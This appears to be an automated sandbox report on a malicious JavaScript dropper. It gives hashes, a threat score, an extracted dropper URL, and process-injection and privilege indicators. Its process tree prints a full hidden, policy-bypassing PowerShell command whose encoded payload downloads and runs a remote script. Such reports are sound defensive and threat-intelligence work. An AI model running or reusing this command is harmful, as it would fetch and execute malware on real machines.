58fd130dd5a37b10419f8f6c1205f7c97b71e7638bcf80147e2aee8fa7bd5636

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
30/12/2023, 14:26

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General

Target

1b617d1bbfbf87a9283f49c2264f1aa3.js
Size

143KB
MD5

1b617d1bbfbf87a9283f49c2264f1aa3
SHA1

5cb30151023f4e78ce206517216174b21d828617
SHA256

58fd130dd5a37b10419f8f6c1205f7c97b71e7638bcf80147e2aee8fa7bd5636
SHA512

d0cb01450ee198cd6d5b8e3d6c7f9f024468b07b76678e90ea34bce5955a1f60a6c6831f4e0f76b908610cf24760bf80245e6ba2807a1eddb7e65da1090998dc
SSDEEP

3072:HvBfL5LYl9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIv+:HvfUl9Ry9RuXqW4SzUHmLKeMMU7GwWBb

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2312	1992	wscript.exe	28
PID 1992 wrote to memory of 2312	1992	wscript.exe	28
PID 1992 wrote to memory of 2312	1992	wscript.exe	28
PID 2312 wrote to memory of 2736	2312	cmd.exe	30
PID 2312 wrote to memory of 2736	2312	cmd.exe	30
PID 2312 wrote to memory of 2736	2312	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1b617d1bbfbf87a9283f49c2264f1aa3.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-5-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-6-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2736-7-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/2736-8-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2736-9-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2736-10-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2736-11-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2736-12-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

Filesize
9.6MB

Download